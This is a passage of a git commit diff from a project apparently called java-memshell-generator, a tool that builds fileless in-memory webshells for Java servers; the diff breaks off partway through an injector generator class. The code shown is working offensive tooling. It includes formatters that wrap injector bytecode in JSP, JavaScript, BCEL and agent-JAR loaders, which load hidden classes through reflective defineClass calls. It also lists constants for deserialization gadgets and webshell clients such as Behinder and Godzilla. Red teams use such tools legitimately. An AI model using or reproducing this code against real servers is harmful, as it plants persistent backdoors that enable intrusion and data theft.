mirror of
https://github.com/pen4uin/java-memshell-generator.git
synced 2026-09-22 01:30:43 +08:00
61快乐
This commit is contained in:
@@ -0,0 +1,26 @@
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||
<parent>
|
||||
<artifactId>java-memshell-generator</artifactId>
|
||||
<groupId>jmg</groupId>
|
||||
<version>${revision}</version>
|
||||
</parent>
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<artifactId>jmg-core</artifactId>
|
||||
|
||||
<dependencies>
|
||||
<!-- https://mvnrepository.com/artifact/org.springframework/spring-web -->
|
||||
<dependency>
|
||||
<groupId>org.springframework</groupId>
|
||||
<artifactId>spring-web</artifactId>
|
||||
<version>5.3.29</version>
|
||||
</dependency>
|
||||
<!-- https://mvnrepository.com/artifact/org.springframework/spring-webflux -->
|
||||
<dependency>
|
||||
<groupId>org.springframework</groupId>
|
||||
<artifactId>spring-webflux</artifactId>
|
||||
<version>5.3.29</version>
|
||||
</dependency>
|
||||
|
||||
</dependencies>
|
||||
</project>
|
||||
@@ -0,0 +1,307 @@
|
||||
package jmg.core.config;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
public class AbstractConfig {
|
||||
|
||||
|
||||
private String injectorClassName;
|
||||
|
||||
public String getInjectorClassName() {
|
||||
return injectorClassName;
|
||||
}
|
||||
|
||||
public void setInjectorClassName(String injectorClassName) {
|
||||
this.injectorClassName = injectorClassName;
|
||||
}
|
||||
|
||||
|
||||
private boolean implementsASTTransformationType = false;
|
||||
|
||||
private boolean implementsScriptEngineFactory = false;
|
||||
|
||||
public void setImplementsASTTransformationType(boolean implementsASTTransformationType) {
|
||||
this.implementsASTTransformationType = implementsASTTransformationType;
|
||||
}
|
||||
|
||||
public void setImplementsScriptEngineFactory(boolean implementsScriptEngineFactory) {
|
||||
this.implementsScriptEngineFactory = implementsScriptEngineFactory;
|
||||
}
|
||||
|
||||
public boolean isImplementsASTTransformationType() {
|
||||
return implementsASTTransformationType;
|
||||
}
|
||||
|
||||
public boolean isImplementsScriptEngineFactory() {
|
||||
return implementsScriptEngineFactory;
|
||||
}
|
||||
|
||||
|
||||
private String injectorSimpleClassName;
|
||||
|
||||
public String getInjectorSimpleClassName() {
|
||||
return injectorSimpleClassName;
|
||||
}
|
||||
|
||||
public void setInjectorSimpleClassName(String injectorSimpleClassName) {
|
||||
this.injectorSimpleClassName = injectorSimpleClassName;
|
||||
}
|
||||
|
||||
|
||||
private byte[] injectorBytes;
|
||||
|
||||
public byte[] getInjectorBytes() {
|
||||
return injectorBytes;
|
||||
}
|
||||
|
||||
public void setInjectorBytes(byte[] injectorBytes) {
|
||||
this.injectorBytes = injectorBytes;
|
||||
}
|
||||
|
||||
|
||||
private int injectorBytesLength;
|
||||
|
||||
public int getInjectorBytesLength() {
|
||||
return injectorBytesLength;
|
||||
}
|
||||
|
||||
public void setInjectorBytesLength(int injectorBytesLength) {
|
||||
this.injectorBytesLength = injectorBytesLength;
|
||||
}
|
||||
|
||||
|
||||
|
||||
private String shellClassName;
|
||||
|
||||
public String getShellClassName() {
|
||||
return shellClassName;
|
||||
}
|
||||
|
||||
public void setShellClassName(String className) {
|
||||
this.shellClassName = className;
|
||||
}
|
||||
|
||||
|
||||
|
||||
private String shellSimpleClassName;
|
||||
|
||||
public String getShellSimpleClassName() {
|
||||
return shellSimpleClassName;
|
||||
}
|
||||
|
||||
public void setShellSimpleClassName(String shellSimpleClassName) {
|
||||
this.shellSimpleClassName = shellSimpleClassName;
|
||||
}
|
||||
|
||||
private byte[] shellBytes;
|
||||
|
||||
public byte[] getShellBytes() {
|
||||
return shellBytes;
|
||||
}
|
||||
|
||||
public void setShellBytes(byte[] shellBytes) {
|
||||
this.shellBytes = shellBytes;
|
||||
}
|
||||
|
||||
|
||||
private int shellBytesLength;
|
||||
|
||||
|
||||
|
||||
public int getShellBytesLength() {
|
||||
return shellBytesLength;
|
||||
}
|
||||
|
||||
public void setShellBytesLength(int shellBytesLength) {
|
||||
this.shellBytesLength = shellBytesLength;
|
||||
}
|
||||
|
||||
|
||||
public String getShellGzipBase64String() {
|
||||
return shellGzipBase64String;
|
||||
}
|
||||
|
||||
public void setShellGzipBase64String(String shellGzipBase64String) {
|
||||
this.shellGzipBase64String = shellGzipBase64String;
|
||||
}
|
||||
|
||||
public String shellGzipBase64String;
|
||||
|
||||
|
||||
public boolean isEnableDebug() {
|
||||
return enableDebug;
|
||||
}
|
||||
|
||||
public void setEnableDebug(boolean enableDebug) {
|
||||
this.enableDebug = enableDebug;
|
||||
}
|
||||
|
||||
private boolean enableDebug = false;
|
||||
|
||||
|
||||
|
||||
|
||||
private String urlPattern;
|
||||
|
||||
private String outputFormat;
|
||||
private String savePath;
|
||||
private String pass;
|
||||
private String key;
|
||||
private String serverType;
|
||||
private String shellType;
|
||||
|
||||
private String headerName;
|
||||
private String headerValue;
|
||||
|
||||
|
||||
private String methodBody;
|
||||
|
||||
|
||||
private String gadgetType;
|
||||
|
||||
|
||||
public String getUrlPattern() {
|
||||
return urlPattern;
|
||||
}
|
||||
|
||||
public void setUrlPattern(String urlPattern) {
|
||||
this.urlPattern = urlPattern;
|
||||
}
|
||||
|
||||
public String getOutputFormat() {
|
||||
return outputFormat;
|
||||
}
|
||||
|
||||
public void setOutputFormat(String outputFormat) {
|
||||
this.outputFormat = outputFormat;
|
||||
}
|
||||
|
||||
public String getSavePath() {
|
||||
return savePath;
|
||||
}
|
||||
|
||||
public void setSavePath(String savePath) {
|
||||
this.savePath = savePath;
|
||||
}
|
||||
|
||||
public String getPass() {
|
||||
return pass;
|
||||
}
|
||||
|
||||
public void setPass(String pass) {
|
||||
this.pass = pass;
|
||||
}
|
||||
|
||||
public String getKey() {
|
||||
return key;
|
||||
}
|
||||
|
||||
public void setKey(String key) {
|
||||
this.key = key;
|
||||
}
|
||||
|
||||
public String getServerType() {
|
||||
return serverType;
|
||||
}
|
||||
|
||||
public void setServerType(String serverType) {
|
||||
this.serverType = serverType;
|
||||
}
|
||||
|
||||
public String getShellType() {
|
||||
return shellType;
|
||||
}
|
||||
|
||||
public void setShellType(String shellType) {
|
||||
this.shellType = shellType;
|
||||
}
|
||||
|
||||
public String getToolType() {
|
||||
return toolType;
|
||||
}
|
||||
|
||||
public void setToolType(String toolType) {
|
||||
this.toolType = toolType;
|
||||
}
|
||||
|
||||
public String toolType;
|
||||
|
||||
|
||||
public String getHeaderName() {
|
||||
return headerName;
|
||||
}
|
||||
|
||||
public void setHeaderName(String headerName) {
|
||||
this.headerName = headerName;
|
||||
}
|
||||
|
||||
public String getHeaderValue() {
|
||||
return headerValue;
|
||||
}
|
||||
|
||||
public void setHeaderValue(String headerValue) {
|
||||
this.headerValue = headerValue;
|
||||
}
|
||||
|
||||
|
||||
|
||||
public String getGadgetType() {
|
||||
return gadgetType;
|
||||
}
|
||||
|
||||
public void setGadgetType(String gadgetType) {
|
||||
this.gadgetType = gadgetType;
|
||||
}
|
||||
|
||||
|
||||
public Map getMessage() {
|
||||
return result;
|
||||
}
|
||||
|
||||
public void setMessage(Map message) {
|
||||
this.result = message;
|
||||
}
|
||||
|
||||
private Map result = new HashMap();
|
||||
|
||||
|
||||
public String getExprEncoder() {
|
||||
return exprEncoder;
|
||||
}
|
||||
|
||||
public void setExprEncoder(String exprEncoder) {
|
||||
this.exprEncoder = exprEncoder;
|
||||
}
|
||||
|
||||
private String exprEncoder;
|
||||
|
||||
public String getExtenderSimpleClassName() {
|
||||
return extenderSimpleClassName;
|
||||
}
|
||||
|
||||
|
||||
private String extenderSimpleClassName;
|
||||
|
||||
public String getLoaderClassName() {
|
||||
return loaderClassName;
|
||||
}
|
||||
|
||||
public void setLoaderClassName(String loaderClassName) {
|
||||
this.loaderClassName = loaderClassName;
|
||||
}
|
||||
|
||||
public String loaderClassName;
|
||||
|
||||
private String classFilePath;
|
||||
|
||||
public String getClassFilePath() {
|
||||
return classFilePath;
|
||||
}
|
||||
|
||||
public void setClassFilePath(String classFilePath) {
|
||||
this.classFilePath = classFilePath;
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
package jmg.core.config;
|
||||
|
||||
public class Constants {
|
||||
|
||||
public static final String JMG_VERSION = "1.0.8";
|
||||
|
||||
public static final String JMG_NAME = "java-memshell-generator";
|
||||
public static final String JMG_DESCRIPTION = "Java 内存马生成器";
|
||||
|
||||
public static final String JMG_AUTHOR = "pen4uin";
|
||||
|
||||
public static final String SERVER_TOMCAT = "Tomcat";
|
||||
public static final String SERVER_SPRING_MVC = "SpringMVC";
|
||||
public static final String SERVER_SPRING_WEBFLUX = "SpringWebFlux";
|
||||
|
||||
public static final String SERVER_JETTY = "Jetty";
|
||||
public static final String SERVER_RESIN = "Resin";
|
||||
public static final String SERVER_WEBLOGIC = "Weblogic";
|
||||
public static final String SERVER_WEBSPHERE = "Websphere";
|
||||
public static final String SERVER_UNDERTOW = "Undertow";
|
||||
public static final String SERVER_GLASSFISH = "Glassfish";
|
||||
|
||||
public static final String SERVER_JBOSS = "JBoss";
|
||||
|
||||
|
||||
public static final String SHELL_LISTENER = "Listener";
|
||||
public static final String SHELL_FILTER = "Filter";
|
||||
public static final String SHELL_VALVE = "Valve";
|
||||
public static final String SHELL_INTERCEPTOR = "Interceptor";
|
||||
public static final String SHELL_WF_HANDLERMETHOD = "WFHandlerMethod";
|
||||
public static final String SHELL_WS_ENDPOINT = "WSEndpoint";
|
||||
public static final String FORMAT_CLASS = "CLASS";
|
||||
public static final String FORMAT_BCEL = "BCEL";
|
||||
public static final String FORMAT_JSP = "JSP";
|
||||
public static final String FORMAT_JAR = "JAR";
|
||||
public static final String FORMAT_JAR_AGENT = "JAR_AGENT";
|
||||
public static final String FORMAT_JS = "JS";
|
||||
public static final String FORMAT_BASE64 = "BASE64";
|
||||
public static final String FORMAT_BIGINTEGER = "BIGINTEGER";
|
||||
|
||||
|
||||
public static final String GADGET_FJ_GROOVY = "FastjsonGroovy";
|
||||
|
||||
public static final String GADGET_SNAKEYAML = "SnakeYaml";
|
||||
|
||||
public static final String GADGET_JDK_TRANSLET = "JDK_AbstractTranslet";
|
||||
public static final String GADGET_XALAN_TRANSLET = "XALAN_AbstractTranslet";
|
||||
|
||||
public static final String TOOL_ANTSWORD = "AntSword";
|
||||
public static final String TOOL_BEHINDER = "Behinder";
|
||||
public static final String TOOL_GODZILLA = "Godzilla";
|
||||
|
||||
public static final String TOOL_CUSTOM = "Custom";
|
||||
|
||||
public static final String TOOL_NEOREGEORG = "NeoreGeorg";
|
||||
public static final String TOOL_SUO5 = "Suo5";
|
||||
|
||||
public static final String EXPR_EL = "EL";
|
||||
public static final String EXPR_SPEL = "SpEL";
|
||||
public static final String EXPR_OGNL = "OGNL";
|
||||
public static final String EXPR_FREEMARKER = "FreeMarker";
|
||||
public static final String EXPR_VELOCITY = "Velocity";
|
||||
public static final String EXPR_JS = "ScriptEngineManager(JS)";
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
package jmg.core.format;
|
||||
|
||||
|
||||
import jmg.core.config.AbstractConfig;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.util.Base64;
|
||||
|
||||
public class BASE64Formater implements IFormater {
|
||||
@Override
|
||||
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
|
||||
Base64.Encoder base64Encoder = Base64.getEncoder();
|
||||
return new String(base64Encoder.encode(clazzbyte)).replace("\n", "").replace("\r", "").getBytes();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
package jmg.core.format;
|
||||
|
||||
import jmg.core.config.AbstractConfig;
|
||||
import me.gv7.woodpecker.bcel.HackBCELs;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
public class BCELFormater implements IFormater {
|
||||
|
||||
|
||||
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
|
||||
// 解决 BCEL 的classloader 的问题
|
||||
byte[] bcelClzBytes = BCELoaderGenerator.generatorBCELoaderClass(config);
|
||||
return HackBCELs.encode(bcelClzBytes).getBytes();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,53 @@
|
||||
package jmg.core.format;
|
||||
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
public class BCELoader {
|
||||
static {
|
||||
new BCELoader();
|
||||
}
|
||||
|
||||
private String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
private String getBase64String() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public BCELoader() {
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
try {
|
||||
classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
byte[] clazzBytes = decodeFromBase64(getBase64String());
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzBytes, 0, clazzBytes.length);
|
||||
clazz.newInstance();
|
||||
} catch (Exception ee) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] decodeFromBase64(String input) {
|
||||
byte[] var2 = null;
|
||||
|
||||
Class var1;
|
||||
try {
|
||||
var1 = Class.forName("java.util.Base64");
|
||||
Object var3 = var1.getMethod("getDecoder").invoke((Object) null, (Object[]) null);
|
||||
var2 = (byte[]) ((byte[]) var3.getClass().getMethod("decode", String.class).invoke(var3, input));
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
var1 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object var4 = var1.newInstance();
|
||||
var2 = (byte[]) ((byte[]) var4.getClass().getMethod("decodeBuffer", String.class).invoke(var4, input));
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
|
||||
return var2;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
package jmg.core.format;
|
||||
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
import jmg.core.config.AbstractConfig;
|
||||
import jmg.core.util.JavassistUtil;
|
||||
|
||||
public class BCELoaderGenerator {
|
||||
public static byte[] generatorBCELoaderClass(AbstractConfig config) {
|
||||
try {
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
ClassClassPath classPath = new ClassClassPath(BCELoader.class);
|
||||
pool.insertClassPath(classPath);
|
||||
CtClass ctClass = pool.getCtClass(BCELoader.class.getName());
|
||||
ctClass.setName(config.getLoaderClassName());
|
||||
ctClass.getClassFile().setVersionToJava5();
|
||||
CtMethod getClassName = ctClass.getDeclaredMethod("getClassName");
|
||||
getClassName.setBody(String.format("{return \"%s\";}", config.getInjectorClassName()));
|
||||
CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String");
|
||||
String base64ClassString = encodeToBase64(config.getInjectorBytes()).replace(System.lineSeparator(), "");
|
||||
String[] parts = splitChunks(base64ClassString, 40000);
|
||||
StringBuilder result = new StringBuilder();
|
||||
for (int i = 0; i < parts.length; i++) {
|
||||
if (i > 0) result.append("+");
|
||||
result.append("new String(\"" + parts[i] + "\")");
|
||||
}
|
||||
getBase64String.setBody(String.format("{return %s;}", result));
|
||||
ctClass.defrost();
|
||||
JavassistUtil.removeSourceFileAttribute(ctClass);
|
||||
byte[] bytes = ctClass.toBytecode();
|
||||
ctClass.detach();
|
||||
return bytes;
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private static String encodeToBase64(byte[] input) throws Exception {
|
||||
String value = null;
|
||||
Class base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, input);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object Encoder = base64.newInstance();
|
||||
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, input);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
private static String[] splitChunks(String source, int CHUNK_SIZE) {
|
||||
String[] ret = new String[(int) Math.ceil(source.length() / (double) CHUNK_SIZE)];
|
||||
char[] payload = source.toCharArray();
|
||||
int start = 0;
|
||||
for (int i = 0; i < ret.length; i++) {
|
||||
if (start + CHUNK_SIZE > payload.length) {
|
||||
char[] b = new char[payload.length - start];
|
||||
System.arraycopy(payload, start, b, 0, payload.length - start);
|
||||
ret[i] = new String(b);
|
||||
} else {
|
||||
char[] b = new char[CHUNK_SIZE];
|
||||
System.arraycopy(payload, start, b, 0, CHUNK_SIZE);
|
||||
ret[i] = new String(b);
|
||||
}
|
||||
start += CHUNK_SIZE;
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
package jmg.core.format;
|
||||
|
||||
|
||||
import jmg.core.config.AbstractConfig;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.math.BigInteger;
|
||||
|
||||
public class BigIntegerFormater implements IFormater {
|
||||
@Override
|
||||
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
|
||||
return new BigInteger(clazzbyte).toString(36).getBytes();
|
||||
}
|
||||
}
|
||||
+10
@@ -0,0 +1,10 @@
|
||||
package jmg.core.format;
|
||||
|
||||
|
||||
import jmg.core.config.AbstractConfig;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
public interface IFormater {
|
||||
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws Exception;
|
||||
}
|
||||
@@ -0,0 +1,98 @@
|
||||
package jmg.core.format;
|
||||
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import jmg.core.config.AbstractConfig;
|
||||
import jmg.core.config.Constants;
|
||||
import jmg.core.template.SpringMVCAgentTransformer;
|
||||
import jmg.core.template.TomcatAgentTransformer;
|
||||
import jmg.core.util.CommonUtil;
|
||||
import jmg.core.util.JavassistUtil;
|
||||
|
||||
import java.io.*;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
import java.util.Enumeration;
|
||||
import java.util.jar.JarEntry;
|
||||
import java.util.jar.JarFile;
|
||||
import java.util.jar.JarOutputStream;
|
||||
import java.util.jar.Manifest;
|
||||
|
||||
public class JARAgentFormater implements IFormater {
|
||||
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws Exception {
|
||||
String className = TomcatAgentTransformer.class.getName();
|
||||
String simpleName = TomcatAgentTransformer.class.getSimpleName();
|
||||
if (config.getServerType().equals(Constants.SERVER_TOMCAT)){
|
||||
className = TomcatAgentTransformer.class.getName();
|
||||
simpleName = TomcatAgentTransformer.class.getSimpleName();
|
||||
}
|
||||
if (config.getServerType().equals(Constants.SERVER_SPRING_MVC)){
|
||||
className = SpringMVCAgentTransformer.class.getName();
|
||||
simpleName = SpringMVCAgentTransformer.class.getSimpleName();
|
||||
}
|
||||
String classFileName = simpleName.replace('.', '/') + ".class";
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
// Note: jar 包中的文件不能通过文件路径读取,需要通过流读取
|
||||
// File jarFile = new File(JARAgentFormater.class.getClassLoader().getResource("jmg-agent.jar").getFile());
|
||||
|
||||
InputStream jarStream = JARAgentFormater.class.getClassLoader().getResourceAsStream("jmg-agent.jar");
|
||||
File jarFile = File.createTempFile("jmg-agent", ".jar");
|
||||
try (FileOutputStream out = new FileOutputStream(jarFile)) {
|
||||
byte[] buffer = new byte[1024];
|
||||
int bytesRead;
|
||||
while ((bytesRead = jarStream.read(buffer)) != -1) {
|
||||
out.write(buffer, 0, bytesRead);
|
||||
}
|
||||
}
|
||||
|
||||
Manifest manifest = createManifest(simpleName);
|
||||
File tempJarFile = File.createTempFile("tempJar", ".jar");
|
||||
|
||||
try (JarFile jar = new JarFile(jarFile);
|
||||
JarOutputStream tempJar = new JarOutputStream(new FileOutputStream(tempJarFile), manifest)) {
|
||||
|
||||
copyJarEntries(jar, tempJar);
|
||||
|
||||
addModifiedClassToJar(pool, className, simpleName, classFileName, tempJar, config.getPass(),CommonUtil.encodeBase64(clazzbyte));
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
return Files.readAllBytes(Paths.get(tempJarFile.getAbsolutePath()));
|
||||
}
|
||||
|
||||
private Manifest createManifest(String simpleName) {
|
||||
Manifest manifest = new Manifest();
|
||||
manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
|
||||
manifest.getMainAttributes().putValue("Agent-Class", simpleName);
|
||||
manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true");
|
||||
manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true");
|
||||
manifest.getMainAttributes().putValue("Main-Class", simpleName);
|
||||
return manifest;
|
||||
}
|
||||
|
||||
private void copyJarEntries(JarFile jar, JarOutputStream tempJar) throws IOException {
|
||||
Enumeration<JarEntry> jarEntries = jar.entries();
|
||||
while (jarEntries.hasMoreElements()) {
|
||||
JarEntry entry = jarEntries.nextElement();
|
||||
try (InputStream entryInputStream = jar.getInputStream(entry)) {
|
||||
tempJar.putNextEntry(entry);
|
||||
byte[] buffer = new byte[1024];
|
||||
int bytesRead;
|
||||
while ((bytesRead = entryInputStream.read(buffer)) != -1) {
|
||||
tempJar.write(buffer, 0, bytesRead);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void addModifiedClassToJar(ClassPool pool, String className, String simpleName, String classFileName, JarOutputStream tempJar,String injectFlag, String injectorCode) throws Exception {
|
||||
CtClass ctClass = pool.get(className);
|
||||
ctClass.getClassFile().setVersionToJava5();
|
||||
ctClass.setName(simpleName);
|
||||
JavassistUtil.addMethod(ctClass, "getInjectorCode", "return \"" + injectorCode + "\";");
|
||||
tempJar.putNextEntry(new JarEntry(classFileName));
|
||||
tempJar.write(ctClass.toBytecode());
|
||||
ctClass.detach();
|
||||
}
|
||||
}
|
||||
+47
@@ -0,0 +1,47 @@
|
||||
package jmg.core.format;
|
||||
|
||||
import jmg.core.config.AbstractConfig;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.jar.JarEntry;
|
||||
import java.util.jar.JarOutputStream;
|
||||
import java.util.jar.Manifest;
|
||||
|
||||
public class JARFormater implements IFormater {
|
||||
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
|
||||
String className = config.getInjectorClassName();
|
||||
String jarEntryFileName = className.replace(".", "/") + ".class";
|
||||
|
||||
Manifest manifest = new Manifest();
|
||||
manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
|
||||
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
try (JarOutputStream jarOutputStream = new JarOutputStream(out, manifest)) {
|
||||
jarOutputStream.putNextEntry(new JarEntry(jarEntryFileName));
|
||||
jarOutputStream.write(clazzbyte);
|
||||
jarOutputStream.closeEntry();
|
||||
|
||||
// fastjson + groovy 的利用
|
||||
if (config.isImplementsASTTransformationType()) {
|
||||
String entryName = "META-INF/services/org.codehaus.groovy.transform.ASTTransformation";
|
||||
JarEntry entry = new JarEntry(entryName);
|
||||
jarOutputStream.putNextEntry(entry);
|
||||
jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8));
|
||||
jarOutputStream.closeEntry();
|
||||
}
|
||||
|
||||
// snakeyaml + loadJar 的利用
|
||||
if (config.isImplementsScriptEngineFactory()) {
|
||||
String entryName = "META-INF/services/javax.script.ScriptEngineFactory";
|
||||
JarEntry entry = new JarEntry(entryName);
|
||||
jarOutputStream.putNextEntry(entry);
|
||||
jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8));
|
||||
jarOutputStream.closeEntry();
|
||||
}
|
||||
}
|
||||
|
||||
return out.toByteArray();
|
||||
}
|
||||
}
|
||||
+35
@@ -0,0 +1,35 @@
|
||||
package jmg.core.format;
|
||||
|
||||
import jmg.core.config.AbstractConfig;
|
||||
import me.gv7.woodpecker.tools.codec.BASE64Encoder;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
public class JSPFormater implements IFormater {
|
||||
|
||||
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
|
||||
String strJSP = "<%\n" +
|
||||
" ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\n" +
|
||||
" try{\n" +
|
||||
" classLoader.loadClass(\""+ config.getInjectorClassName()+"\").newInstance();\n" +
|
||||
" }catch (Exception e){\n" +
|
||||
" java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n" +
|
||||
" defineClass.setAccessible(true);\n" +
|
||||
" String bytecodeBase64 = \""+new BASE64Encoder().encode(clazzbyte).replace("\n", "").replace("\r", "") +"\";\n" +
|
||||
" byte[] bytecode = null;\n" +
|
||||
" try {\n" +
|
||||
" Class base64Clz = classLoader.loadClass(\"java.util.Base64\");\n" +
|
||||
" Class decoderClz = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" +
|
||||
" Object decoder = base64Clz.getMethod(\"getDecoder\").invoke(base64Clz);\n" +
|
||||
" bytecode = (byte[]) decoderClz.getMethod(\"decode\", String.class).invoke(decoder, bytecodeBase64);\n" +
|
||||
" } catch (ClassNotFoundException ee) {\n" +
|
||||
" Class datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" +
|
||||
" bytecode = (byte[]) datatypeConverterClz.getMethod(\"parseBase64Binary\", String.class).invoke(datatypeConverterClz, bytecodeBase64);\n" +
|
||||
" }\n" +
|
||||
" Class clazz = (Class)defineClass.invoke(classLoader,bytecode,0,bytecode.length);\n" +
|
||||
" clazz.newInstance();\n" +
|
||||
" }\n" +
|
||||
"%>";
|
||||
return strJSP.getBytes();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
package jmg.core.format;
|
||||
|
||||
import jmg.core.config.AbstractConfig;
|
||||
import me.gv7.woodpecker.tools.codec.BASE64Encoder;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
public class JavaScriptFormater implements IFormater {
|
||||
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
|
||||
String strJS = "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
|
||||
"try{\n" +
|
||||
" classLoader.loadClass(\""+ config.getInjectorClassName() +"\").newInstance();\n" +
|
||||
"}catch (e){\n" +
|
||||
" var clsString = classLoader.loadClass('java.lang.String');\n" +
|
||||
" var bytecodeBase64 = \""+ new BASE64Encoder().encode(clazzbyte).replace("\n", "").replace("\r", "") + "\";\n" +
|
||||
" var bytecode;\n" +
|
||||
" try{\n" +
|
||||
" var clsBase64 = classLoader.loadClass(\"java.util.Base64\");\n" +
|
||||
" var clsDecoder = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" +
|
||||
" var decoder = clsBase64.getMethod(\"getDecoder\").invoke(base64Clz);\n" +
|
||||
" bytecode = clsDecoder.getMethod(\"decode\", clsString).invoke(decoder, bytecodeBase64);\n" +
|
||||
" } catch (ee) {\n" +
|
||||
" var datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" +
|
||||
" bytecode = datatypeConverterClz.getMethod(\"parseBase64Binary\", clsString).invoke(datatypeConverterClz, bytecodeBase64);\n" +
|
||||
" }\n" +
|
||||
" var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');\n" +
|
||||
" var clsByteArray = classLoader.loadClass('[B');\n" +
|
||||
" var clsInt = java.lang.Integer.TYPE;\n" +
|
||||
" var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", clsByteArray, clsInt, clsInt);\n" +
|
||||
" defineClass.setAccessible(true);\n" +
|
||||
" var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length);\n" +
|
||||
" clazz.newInstance();\n" +
|
||||
"}";
|
||||
return strJS.getBytes();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
package jmg.core.generator;
|
||||
|
||||
import javassist.ClassPool;
|
||||
import jmg.core.config.AbstractConfig;
|
||||
|
||||
public interface IShellGenerator {
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
|
||||
void initShell(AbstractConfig config);
|
||||
|
||||
byte[] makeShell(AbstractConfig config) throws Exception;
|
||||
|
||||
byte[] modifyShell(String className, AbstractConfig config);
|
||||
}
|
||||
@@ -0,0 +1,95 @@
|
||||
package jmg.core.generator;
|
||||
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
import jmg.core.config.AbstractConfig;
|
||||
import jmg.core.config.Constants;
|
||||
import jmg.core.util.CommonUtil;
|
||||
import jmg.core.util.CtClassUtil;
|
||||
import jmg.core.util.InjectorUtil;
|
||||
import jmg.core.util.JavassistUtil;
|
||||
|
||||
|
||||
/**
|
||||
* 注入器生成
|
||||
*/
|
||||
public class InjectorGenerator {
|
||||
public byte[] makeInjector(AbstractConfig config) throws Exception {
|
||||
String injectorName = InjectorUtil.getInjectorName(config.getServerType(), config.getShellType());
|
||||
String injectorClassName = InjectorUtil.getInjectorClassName(injectorName);
|
||||
